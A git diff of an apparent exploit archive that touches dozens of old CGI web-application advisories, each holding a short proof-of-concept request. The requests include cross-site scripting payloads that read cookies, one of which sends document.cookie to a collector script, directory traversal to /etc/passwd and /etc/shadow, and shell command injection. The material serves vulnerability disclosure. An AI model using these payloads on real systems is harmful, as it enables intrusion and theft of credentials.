-http://www.example.com/cgi-sys/FormMail.cgi?<script>alert("test");</script> \ No newline at end of file +http://www.example.com/cgi-sys/FormMail.cgi?<script>alert("test");</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/22198.txt b/platforms/cgi/webapps/22198.txt index 9a380cc28..b3d6890dd 100755 --- a/platforms/cgi/webapps/22198.txt +++ b/platforms/cgi/webapps/22198.txt @@ -5,5 +5,5 @@ A vulnerability has been discovered in GNU Mailman. It has been reported that Ma As a result, attackers may embed malicious script code or HTML into a link to a site running the vulnerable software. If such a link is followed, the attacker-supplied code will be interpreted in the web browser of the victim of the attack. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks are also possible. -https://www.yourserver:443/mailman/options/yourlist? +https://www.yourserver.com:443/mailman/options/yourlist? language=en&email=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> \ No newline at end of file diff --git a/platforms/cgi/webapps/22199.txt b/platforms/cgi/webapps/22199.txt index aea6b1d0c..4951ff32d 100755 --- a/platforms/cgi/webapps/22199.txt +++ b/platforms/cgi/webapps/22199.txt @@ -6,5 +6,5 @@ As a result, attackers may embed malicious script code or HTML into a link to a It has been reported that GNU Mailman 2.0.11 is not affected by this issue. -https://www.yourserver:443//mailman/options/yourlist? +https://www.yourserver.com:443//mailman/options/yourlist? language=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> \ No newline at end of file diff --git a/platforms/cgi/webapps/22481.txt b/platforms/cgi/webapps/22481.txt index bbd4f0356..f153a13b3 100755 --- a/platforms/cgi/webapps/22481.txt +++ b/platforms/cgi/webapps/22481.txt @@ -4,4 +4,4 @@ Super Guestbook has been reported prone to a sensitive information disclosure we An attacker may disclose sensitive information regarding the Super Guestbook install by sending a HTTP request for a Guest Book configuration file. Details including administration credentials are displayed in the attackers browser. -http://www.example.com/cgi-bin/SGB_DIR/superguestconfig \ No newline at end of file +http://www.example.com/cgi-bin/SGB_DIR/superguestconfig \ No newline at end of file diff --git a/platforms/cgi/webapps/22482.txt b/platforms/cgi/webapps/22482.txt index 6f846973b..fb92aaa72 100755 --- a/platforms/cgi/webapps/22482.txt +++ b/platforms/cgi/webapps/22482.txt @@ -4,4 +4,4 @@ Guestbook has been reported prone to a sensitive information disclosure weakness An attacker may disclose sensitive information regarding the Super Guestbook install by sending a HTTP request for the Guest Book passwd file. Administration credentials are displayed in the attacker's browser. -http://www.example.com/cgi-bin/guestbook/passwd \ No newline at end of file +http://www.example.com/cgi-bin/guestbook/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/22588.txt b/platforms/cgi/webapps/22588.txt index 8a105523f..ce7293983 100755 --- a/platforms/cgi/webapps/22588.txt +++ b/platforms/cgi/webapps/22588.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7557/info IT has been reported that Happymall E-Commerce is prone to cross-site scripting attacks. The problem occurs due to insufficient sanitization of user-supplied URI parameters. As a result, it may be possible for an attacker to execute arbitrary script code within the browser of a legitimate user visiting the site. -http://server/shop/normal_html.cgi?file=<script>alert("XSS")</script> \ No newline at end of file +http://www.target.com/shop/normal_html.cgi?file=<script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/22592.txt b/platforms/cgi/webapps/22592.txt index c2d69b7e3..72a2e5145 100755 --- a/platforms/cgi/webapps/22592.txt +++ b/platforms/cgi/webapps/22592.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7559/info IT has been reported that Happymall E-Commerce is prone to a file disclosure vulnerability. The problem occurs due to insufficient sanitization of user-supplied URI parameters. As a result, it may be possible for an attacker to view the contents of sensitive system files. Files viewed in this manner would be accessed with the privileges of the Happymall process. -http://www.target.org/shop/normal_html.cgi?file=../../../../../../etc/issue%00 \ No newline at end of file +http://www.target.org/shop/normal_html.cgi?file=../../../../../../etc/issue%00 \ No newline at end of file diff --git a/platforms/cgi/webapps/22689.txt b/platforms/cgi/webapps/22689.txt index f2d85737e..51f80d9e4 100755 --- a/platforms/cgi/webapps/22689.txt +++ b/platforms/cgi/webapps/22689.txt @@ -4,4 +4,4 @@ A remote file include vulnerability has been reported for P-Synch. Due to insuff An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for a specific URI parameter. -https://path/to/psynch/nph-psa.exe?css=http://somesite/file \ No newline at end of file +https://path/to/psynch/nph-psa.exe?css=http://somesite/file \ No newline at end of file diff --git a/platforms/cgi/webapps/22692.txt b/platforms/cgi/webapps/22692.txt index f1284bdbd..cd0c20b9e 100755 --- a/platforms/cgi/webapps/22692.txt +++ b/platforms/cgi/webapps/22692.txt @@ -12,4 +12,4 @@ http://<target>:9090/apps/web/vs_diag.cgi?server=<script>function%20pedo() ();xmlDoc=xmlHttp.responseText;document.write(xmlDoc);}pedo();alert("Have% 20you%20enabled%20the%20protection%20of%20your%20ZEUS...?%20We%20can%20rip% 20this%20info!%20Much%20more%20evil%20actions%20are%20possible...") -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/22743.txt b/platforms/cgi/webapps/22743.txt index 549d0988b..fad01753d 100755 --- a/platforms/cgi/webapps/22743.txt +++ b/platforms/cgi/webapps/22743.txt @@ -6,6 +6,6 @@ By supplying directory traversal sequences, as a URI parameter, to the 'admin.cg Successful exploitation may expose sensitive information to remote attackers. This information could be used to aid in further attacks against the affected system. -http://www.sampleserver/cgi-bin/imagefolio/admin/admin.cgi?cgi=remove. +http://www.samplesite.com/cgi-bin/imagefolio/admin/admin.cgi?cgi=remove. pl&uid=111.111.111.111&rmstep=2&category=../../../../../../../../../../. -./etc/ \ No newline at end of file +./etc/ \ No newline at end of file diff --git a/platforms/cgi/webapps/22770.txt b/platforms/cgi/webapps/22770.txt index 1fcfb6c36..421821710 100755 --- a/platforms/cgi/webapps/22770.txt +++ b/platforms/cgi/webapps/22770.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7910/info Infinity CGI Exploit Scanner is reported to be prone to a cross-site scripting vulnerability. An attacker could exploit this issue to creating a malicious link to a site hosting the software that contains hostile HTML and script code. If this link is visited by a web user, the attacker-supplied code could be interpreted in their browser. -http://www.example.com/cgi-bin/nph-exploitscanget.cgi?host=%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E&port=80&idsbypass=0&errchk=1 \ No newline at end of file +http://www.example.com/cgi-bin/nph-exploitscanget.cgi?host=%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E&port=80&idsbypass=0&errchk=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/22772.txt b/platforms/cgi/webapps/22772.txt index 37b9feb18..f172edf05 100755 --- a/platforms/cgi/webapps/22772.txt +++ b/platforms/cgi/webapps/22772.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7913/info Infinity CGI Exploit Scanner is prone to a remote command execution vulnerability. This is due to insufficient sanitization of input supplied via URI parameters. Exploitation could allow for execution of commands with the privileges of the web server process. http://www.example.com/cgi-bin/nph-exploitscanget.cgi?host=`cat%20/etc/passwd`` -cat%20/etc/shadow`&port=80&errchk=0&idsbypass=0 \ No newline at end of file +cat%20/etc/shadow`&port=80&errchk=0&idsbypass=0 \ No newline at end of file diff --git a/platforms/cgi/webapps/22777.txt b/platforms/cgi/webapps/22777.txt index c475857d0..708f480ef 100755 --- a/platforms/cgi/webapps/22777.txt +++ b/platforms/cgi/webapps/22777.txt @@ -4,4 +4,4 @@ It has been reported that LedNews does not properly filter input from news posts <script> document.location.replace('http://www.example.com/cgi-bin/cookiemonster.cgi?'+document.cookie); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/22799.txt b/platforms/cgi/webapps/22799.txt index fbc0c94c8..85ab63044 100755 --- a/platforms/cgi/webapps/22799.txt +++ b/platforms/cgi/webapps/22799.txt @@ -6,4 +6,4 @@ An attacker may exploit this vulnerability by enticing a victim user to follow a It should be noted that although this vulnerability has been reported to affect Kerio MailServer version 5.6.3, previous versions might also be affected. -http://www.example.com/add_acl?folder=~conde0@localhost/INBOX&add_name=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/add_acl?folder=~conde0@localhost/INBOX&add_name=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/22804.txt b/platforms/cgi/webapps/22804.txt index d90685d13..724784774 100755 --- a/platforms/cgi/webapps/22804.txt +++ b/platforms/cgi/webapps/22804.txt @@ -6,4 +6,4 @@ An attacker may exploit this vulnerability by enticing a victim user to follow a It should be noted that although this vulnerability has been reported to affect Kerio MailServer version 5.6.3, previous versions might also be affected. -http://www.example.com/do_map?action=new&oldalias=eso&alias=<script>alert(document.cookie);</script>&folder=public&user=lucascavadora \ No newline at end of file +http://www.example.com/do_map?action=new&oldalias=eso&alias=<script>alert(document.cookie);</script>&folder=public&user=lucascavadora \ No newline at end of file diff --git a/platforms/cgi/webapps/23059.txt b/platforms/cgi/webapps/23059.txt index 49cd8b753..10f59f97a 100755 --- a/platforms/cgi/webapps/23059.txt +++ b/platforms/cgi/webapps/23059.txt @@ -4,4 +4,4 @@ A vulnerability has been reported in Netbula Anyboard that may allow a remote at This vulnerability may allow an attack to gather sensitive information in order to launch further attacks against a vulnerable system. -http://www.example.com/cgi-bin/anyboard.cgi/?cmd=sinfo&all=1 \ No newline at end of file +http://www.example.com/cgi-bin/anyboard.cgi/?cmd=sinfo&all=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/23085.html b/platforms/cgi/webapps/23085.html index 5f380a21a..99e335dbf 100755 --- a/platforms/cgi/webapps/23085.html +++ b/platforms/cgi/webapps/23085.html @@ -13,4 +13,4 @@ value="../../../../../../../../../../etc/passwd"> <p><input type="submit" name="action" value="Yes - Use Advanced Editor"> <p><input type="submit" value="Return to Site Builder"> </form> -</center></body></html> \ No newline at end of file +</center></body></html> \ No newline at end of file diff --git a/platforms/cgi/webapps/23127.txt b/platforms/cgi/webapps/23127.txt index e88629c09..c19181f0a 100755 --- a/platforms/cgi/webapps/23127.txt +++ b/platforms/cgi/webapps/23127.txt @@ -5,4 +5,4 @@ A cross-site scripting vulnerability has been reported for Escapade. The vulnera An attacker could exploit this issue to execute arbitrary HTML code in the browser of a remote user who follows a malicious link. Code execution would occur in the context of the vulnerable site. It has also been reported that this issue may be exploited to disclose the installation path of the affected software. http://www.example.com/cgi-bin/esp?PAGE=<script>alert(document.domain) -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/23128.txt b/platforms/cgi/webapps/23128.txt index 3cb4272a0..fd335ae0f 100755 --- a/platforms/cgi/webapps/23128.txt +++ b/platforms/cgi/webapps/23128.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8574/info Escapade is prone to a path disclosure vulnerability. It is possible to gain access to sensitive path information by issuing a request for an invalid resource, passed as a value for the PAGE parameter to the Escapade Scripting Engine. -http://www.server/cgi-bin/esp?PAGE=!@#$% \ No newline at end of file +http://www.site.com/cgi-bin/esp?PAGE=!@#$% \ No newline at end of file diff --git a/platforms/cgi/webapps/23153.txt b/platforms/cgi/webapps/23153.txt index 4d9b93447..9ab1a4dd9 100755 --- a/platforms/cgi/webapps/23153.txt +++ b/platforms/cgi/webapps/23153.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8637/info A cross-site scripting problem has been reported in NetWin DBabble. This could make it possible for an attacker to potentially execute code in the security context of a site using the vulnerable software. This could be exploited by enticing a user to follow a malicious link to a site hosting the software. -http://www.example.com/dbabble?cmd="><evil_script> \ No newline at end of file +http://www.example.com/dbabble?cmd="><evil_script> \ No newline at end of file diff --git a/platforms/cgi/webapps/23214.txt b/platforms/cgi/webapps/23214.txt index c1b3d7ced..562667fa8 100755 --- a/platforms/cgi/webapps/23214.txt +++ b/platforms/cgi/webapps/23214.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8757/info A problem with message.cgi script used by Cobalt RaQ appliances could lead to cross-site scripting. This could result in attacks attempting to steal authentication information. -http://wwww.example.com:81/cgi-bin/.cobalt/message/message.cgi?info=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E \ No newline at end of file +http://wwww.example.com:81/cgi-bin/.cobalt/message/message.cgi?info=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/23217.txt b/platforms/cgi/webapps/23217.txt index 84b40c368..9b3173ccd 100755 --- a/platforms/cgi/webapps/23217.txt +++ b/platforms/cgi/webapps/23217.txt @@ -6,4 +6,4 @@ Successful exploitation of this vulnerability may allow an attacker to steal coo Divine Content Server version 5.0 may be vulnerable to this issue, however this information cannot be confirmed at the moment. -http://www.example.com/servlet/ContentServer?pagename=<body%20onload=alert(document.cookie);> \ No newline at end of file +http://www.example.com/servlet/ContentServer?pagename=<body%20onload=alert(document.cookie);> \ No newline at end of file diff --git a/platforms/cgi/webapps/23266.txt b/platforms/cgi/webapps/23266.txt index 9fc22e60f..6f1e68ff9 100755 --- a/platforms/cgi/webapps/23266.txt +++ b/platforms/cgi/webapps/23266.txt @@ -4,4 +4,4 @@ Dansie Shopping Cart is reported to be prone to path disclosre issue in the 'db' Information gained by exploiting this attack may aid an attacker in launching further attacks against a vulnerable system. -http://www.example.com/cgi-bin/cart.pl?db=' \ No newline at end of file +http://www.example.com/cgi-bin/cart.pl?db=' \ No newline at end of file diff --git a/platforms/cgi/webapps/23275.txt b/platforms/cgi/webapps/23275.txt index b0a0ed817..f0e9c34ab 100755 --- a/platforms/cgi/webapps/23275.txt +++ b/platforms/cgi/webapps/23275.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8876/info A problem has been reported in the handling of some types of input to DansGuardian. This problem may permit an attacker to launch cross-site scripting attacks. -http://www.example.com/cgi-bin/dansguardian.pl?DENIEDURL=</a><script>alert('Test');window.open+("http://www.example.com")</script> \ No newline at end of file +http://www.example.com/cgi-bin/dansguardian.pl?DENIEDURL=</a><script>alert('Test');window.open+("http://www.example.com")</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/23332.txt b/platforms/cgi/webapps/23332.txt index 77d2e1887..a7d298b71 100755 --- a/platforms/cgi/webapps/23332.txt +++ b/platforms/cgi/webapps/23332.txt @@ -4,4 +4,4 @@ MPM Guestbook is reported to be prone to a cross-site scripting vulnerability. T An attacker could exploit this issue by enticing a user to follow a malicious link. This could theoretically allow for theft of cookie-based authentication credentials or other attacks. -http://www.example.com/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E \ No newline at end of file +http://www.example.com/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/23395.txt b/platforms/cgi/webapps/23395.txt index 8a6f9ab35..1cf576074 100755 --- a/platforms/cgi/webapps/23395.txt +++ b/platforms/cgi/webapps/23395.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9094/info It has been reported that CommerceSQL may be prone to a directory traversal vulnerability that may allow an attacker to gain access to sensitive information. The issue presents itself due to insufficient sanitization of user-supplied input. An attacker may traverse outside the server root directory by using '../' character sequences. -index.cgi?page=../../../../../../../../etc/passwd \ No newline at end of file +index.cgi?page=../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/23410.txt b/platforms/cgi/webapps/23410.txt index 0dc7d6a5b..ad36b8004 100755 --- a/platforms/cgi/webapps/23410.txt +++ b/platforms/cgi/webapps/23410.txt @@ -4,4 +4,4 @@ IBM Directory Server is prone to cross-site scripting attacks via the web admini This issue was reported in Directory Server 4.1. Other versions may also be affected. -https://www.example.com/ldap/cgi-bin/ldacgi.exe?Action=<script>alert("foo")</script> \ No newline at end of file +https://www.example.com/ldap/cgi-bin/ldacgi.exe?Action=<script>alert("foo")</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/23421.txt b/platforms/cgi/webapps/23421.txt index 2e56102fc..16b9dedd9 100755 --- a/platforms/cgi/webapps/23421.txt +++ b/platforms/cgi/webapps/23421.txt @@ -8,4 +8,4 @@ http://www.example.com/reademail.pl?id=666&folder=qwer'%20or%20EmailDatabase_v.A http://www.example.com/parse.pl?file=html/english/xp/xplogin.html -http://www.example.com/showmail.pl?Folder=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/showmail.pl?Folder=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/23432.txt b/platforms/cgi/webapps/23432.txt index c4b1e77f5..3e897796c 100755 --- a/platforms/cgi/webapps/23432.txt +++ b/platforms/cgi/webapps/23432.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9202/info RemotelyAnywhere has been reported prone to a logout message injection weakness. It has been reported that this issue presents itself due to a lack of sufficient restrictions performed by RemotelyAnywhere on user supplied 'reason' URI parameters. If a target user followed a malicious link, an attacker could potentially abuse this weakness, to include arbitrary messages in logout screens. This may aid in social engineering type attacks against the target user. -https://www.example.com:2000/default.html?logout=asdf&reason=Please%20set%20your%20password%20to%20ABC123%20after%20login \ No newline at end of file +https://www.example.com:2000/default.html?logout=asdf&reason=Please%20set%20your%20password%20to%20ABC123%20after%20login \ No newline at end of file diff --git a/platforms/cgi/webapps/23447.txt b/platforms/cgi/webapps/23447.txt index 61c7a498c..c8dda7e4e 100755 --- a/platforms/cgi/webapps/23447.txt +++ b/platforms/cgi/webapps/23447.txt @@ -4,4 +4,4 @@ It has been reported that the SiteInteractive Subscribe Me setup.pl script lacks http://www.example.com/cgi-bin/setup.pl?RUNINSTALLATION=yes&information=~&extension=pl&config=pl&permissions=777&os=notunixornt&perlpath=/usr/bin/perl&mailprog=/bin/sh&notific ation="%20.`%2F%75%73%72%2F%62%69%6E%2F%69%64%20%3E%20%69%64` -%20."&websiteurl=evilhacker&br_username=evilhacker&session_id=0&cgipath=. \ No newline at end of file +%20."&websiteurl=evilhacker&br_username=evilhacker&session_id=0&cgipath=. \ No newline at end of file diff --git a/platforms/cgi/webapps/23467.txt b/platforms/cgi/webapps/23467.txt index 89fd6e33e..7808530d2 100755 --- a/platforms/cgi/webapps/23467.txt +++ b/platforms/cgi/webapps/23467.txt @@ -6,4 +6,4 @@ Specific vulnerable versions of the software were not identified in the report; http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../etc/passwd%00.html http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../etc/hosts -http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../usr/bin/id| \ No newline at end of file +http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../usr/bin/id| \ No newline at end of file diff --git a/platforms/cgi/webapps/23488.txt b/platforms/cgi/webapps/23488.txt index 85f8c0c8f..e26fe7d3b 100755 --- a/platforms/cgi/webapps/23488.txt +++ b/platforms/cgi/webapps/23488.txt @@ -6,4 +6,4 @@ Due to a lack of information, further details cannot be outlined at the moment. http://www.example.com/cgi-bin/path_to_file/bsml.pl?action=empty http://www.example.com/cgi-bin/path_to_file/bsml.pl?action=sm -http://www.example.com/cgi-bin/path_to_file/bsml.pl?action=edit \ No newline at end of file +http://www.example.com/cgi-bin/path_to_file/bsml.pl?action=edit \ No newline at end of file diff --git a/platforms/cgi/webapps/23613.txt b/platforms/cgi/webapps/23613.txt index c6e69e9d3..7d44a2747 100755 --- a/platforms/cgi/webapps/23613.txt +++ b/platforms/cgi/webapps/23613.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9517/info Web Blog is prone to a file disclosure vulnerability. Remote attackers may gain access to files on the system hosting the server that reside outside of the server root by submitting a malicious request that contains directory traversal sequences. This would permit the attacker to access files that are readable by the server and could disclose sensitive information. -http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=/../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=/../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/23615.txt b/platforms/cgi/webapps/23615.txt index b1f2968fc..48115c976 100755 --- a/platforms/cgi/webapps/23615.txt +++ b/platforms/cgi/webapps/23615.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9524/info It has been reported that PJ CGI Neo Review may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory by using '../' character sequences. -http://www.example.com/directory/PJreview_Neo.cgi?p=/../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/directory/PJreview_Neo.cgi?p=/../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/23629.txt b/platforms/cgi/webapps/23629.txt index 927b93257..f761569a7 100755 --- a/platforms/cgi/webapps/23629.txt +++ b/platforms/cgi/webapps/23629.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9539/info Web Blog has been reported to be prone to a vulnerability that may permit remote attackers to execute arbitrary commands in the context of the hosting web server. This is due to insufficient sanitization of shell metacharacters from variables which will be used as an argument to a function that invokes the shell directly. -http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=|command| \ No newline at end of file +http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=|command| \ No newline at end of file diff --git a/platforms/cgi/webapps/23890.txt b/platforms/cgi/webapps/23890.txt index 5a2a97297..db3a93da8 100755 --- a/platforms/cgi/webapps/23890.txt +++ b/platforms/cgi/webapps/23890.txt @@ -4,4 +4,4 @@ It has been reported that Fresh Guest Book is prone to a remote HTML injection v An attacker may exploit the aforementioned vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks may also be possible. -<script>alert('xss');</script> \ No newline at end of file +<script>alert('xss');</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/23894.txt b/platforms/cgi/webapps/23894.txt index 164afdfbf..172b8c17e 100755 --- a/platforms/cgi/webapps/23894.txt +++ b/platforms/cgi/webapps/23894.txt @@ -4,4 +4,4 @@ A vulnerability has been reported to exist in Cloisterblog that may allow a remo Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system. -http://www.example.com/cloisterblog/journal.pl?syear=2004&sday=11&smonth=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/cloisterblog/journal.pl?syear=2004&sday=11&smonth=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/webapps/23897.txt b/platforms/cgi/webapps/23897.txt index dac8ed1b3..e8efdda79 100755 --- a/platforms/cgi/webapps/23897.txt +++ b/platforms/cgi/webapps/23897.txt @@ -5,4 +5,4 @@ It has been reported that LINBOX is prone to a remote authentication bypass vuln This issue may allow unauthorized user to gain access to the administration scripts of the affected system. Issuing the following request to the affected server will provide access to the administration interface: -http://www.example.com//admin/user.pl \ No newline at end of file +http://www.example.com//admin/user.pl \ No newline at end of file diff --git a/platforms/cgi/webapps/23913.txt b/platforms/cgi/webapps/23913.txt index 432347898..5ff85fa17 100755 --- a/platforms/cgi/webapps/23913.txt +++ b/platforms/cgi/webapps/23913.txt @@ -6,4 +6,4 @@ The cross-site scripting issue could permit a remote attacker to create a malici An attacker may exploit the HTML injection vulnerability to execute arbitrary script code in the browser of an unsuspecting user. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks may also be possible. -http://www.example.com/inbox/index.fts?folder=TEST&index=1 \ No newline at end of file +http://www.example.com/inbox/index.fts?folder=TEST&index=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/23914.txt b/platforms/cgi/webapps/23914.txt index 4c49ec451..0ea2698ff 100755 --- a/platforms/cgi/webapps/23914.txt +++ b/platforms/cgi/webapps/23914.txt @@ -5,4 +5,4 @@ It has been reported that FTGate it prone to a server path disclosure vulnerabil These issues may be leveraged to gain sensitive information about the affected system potentially aiding an attacker in mounting further attacks. http://www.example.com/inbox/message.fts -http://www.example.com/inbox/message.fts?folder=Sent%20Items&id=test \ No newline at end of file +http://www.example.com/inbox/message.fts?folder=Sent%20Items&id=test \ No newline at end of file diff --git a/platforms/cgi/webapps/23942.txt b/platforms/cgi/webapps/23942.txt index fb5e1fca3..086103078 100755 --- a/platforms/cgi/webapps/23942.txt +++ b/platforms/cgi/webapps/23942.txt @@ -4,4 +4,4 @@ Multiple vulnerabilities have been identified in the application that may allow 1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. -http://www.example.com/AUTH=[some_value]/user/list.tagz?Site=www.example.com&Mailbox=[html_code] \ No newline at end of file +http://www.example.com/AUTH=[some_value]/user/list.tagz?Site=www.example.com&Mailbox=[html_code] \ No newline at end of file diff --git a/platforms/cgi/webapps/24164.txt b/platforms/cgi/webapps/24164.txt index 92d722ee5..026e2482a 100755 --- a/platforms/cgi/webapps/24164.txt +++ b/platforms/cgi/webapps/24164.txt @@ -6,4 +6,4 @@ This issue will allow an attacker to download or view scripts residing in the 'c This issue is reported to affect TinyWeb 1.92, it is likely that other versions are also vulnerable. -http://www.example.com/./cgi-bin/targetfile \ No newline at end of file +http://www.example.com/./cgi-bin/targetfile \ No newline at end of file diff --git a/platforms/cgi/webapps/24175.txt b/platforms/cgi/webapps/24175.txt index cf9af806a..24bb1d953 100755 --- a/platforms/cgi/webapps/24175.txt +++ b/platforms/cgi/webapps/24175.txt @@ -4,4 +4,4 @@ It is reported that Linksys Web Camera software is prone to a remote file disclo Linksys Web Camera software version 2.10 is reportedly prone to this issue, however, it is possible that other versions are affected as well. -http://www.example.com/main.cgi?next_file=/etc/passwd \ No newline at end of file +http://www.example.com/main.cgi?next_file=/etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/24236.txt b/platforms/cgi/webapps/24236.txt index 5abd9be97..44db3b5af 100755 --- a/platforms/cgi/webapps/24236.txt +++ b/platforms/cgi/webapps/24236.txt @@ -6,4 +6,4 @@ A remote attacker can exploit this issue by creating a malicious link to the vul Cart32 version 5.0 and prior are considered prone to this issue. -http://www.example.com/scripts/cart32.exe/GetLatestBuilds?cart32=&lt;script&gt;alert('XSS')&lt;/script&gt; \ No newline at end of file +http://www.example.com/scripts/cart32.exe/GetLatestBuilds?cart32=&lt;script&gt;alert('XSS')&lt;/script&gt; \ No newline at end of file diff --git a/platforms/cgi/webapps/24237.txt b/platforms/cgi/webapps/24237.txt index 7803ebf2f..b0bc23282 100755 --- a/platforms/cgi/webapps/24237.txt +++ b/platforms/cgi/webapps/24237.txt @@ -6,4 +6,4 @@ Successful exploitation of this vulnerability may allow an attacker to gain sens All current versions of csFAQ are considered vulnerable to this issue. -http://www.example.com/cgi-script/csFAQ/csFAQ.cgi?command=viewFAQ&database=/.darkbicho \ No newline at end of file +http://www.example.com/cgi-script/csFAQ/csFAQ.cgi?command=viewFAQ&database=/.darkbicho \ No newline at end of file diff --git a/platforms/cgi/webapps/24244.txt b/platforms/cgi/webapps/24244.txt index 36c4ead23..375f2174b 100755 --- a/platforms/cgi/webapps/24244.txt +++ b/platforms/cgi/webapps/24244.txt @@ -5,4 +5,4 @@ Netegrity IdentityMinder is a tool designed for the Microsoft Windows platform t It has been reported that Netegrity IdentityMinder is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials as well as arbitrary application command execution. -http://www.example.com/idm/siteName/ims_mainconsole_principalpopuphandler.do?searchAttrs0=%25GROUP_NAME%25&searchOperators0=EQUALS&searchFilter0=&searchOrgDN=specifiedDNValue&incChildrenOrgFlag=NO&resultsPerPage=10&oid=&imsui_taskstate=RESOLVE_SCOPE&imsui_tpnametosearch=group&numOfExpressions=1%00<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/idm/siteName/ims_mainconsole_principalpopuphandler.do?searchAttrs0=%25GROUP_NAME%25&searchOperators0=EQUALS&searchFilter0=&searchOrgDN=specifiedDNValue&incChildrenOrgFlag=NO&resultsPerPage=10&oid=&imsui_taskstate=RESOLVE_SCOPE&imsui_tpnametosearch=group&numOfExpressions=1%00<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/24245.txt b/platforms/cgi/webapps/24245.txt index 4b00ec3e2..9bcc17efb 100755 --- a/platforms/cgi/webapps/24245.txt +++ b/platforms/cgi/webapps/24245.txt @@ -5,4 +5,4 @@ Netegrity IdentityMinder is a tool designed for the Microsoft Windows platform t It has been reported that Netegrity IdentityMinder is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials as well as arbitrary application command execution. -http://PUT_ADDRESS_HERE:7001/idmmanage/mobjattr.do?diroid=OID&attrname=Group%20Members&mobjtype=2<script>alert(document.cookie)</script> \ No newline at end of file +http://PUT_ADDRESS_HERE:7001/idmmanage/mobjattr.do?diroid=OID&attrname=Group%20Members&mobjtype=2<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/24285.txt b/platforms/cgi/webapps/24285.txt index 2ee8b9747..4bb65ad90 100755 --- a/platforms/cgi/webapps/24285.txt +++ b/platforms/cgi/webapps/24285.txt @@ -8,4 +8,4 @@ These vulnerabilities could be used by an attacker 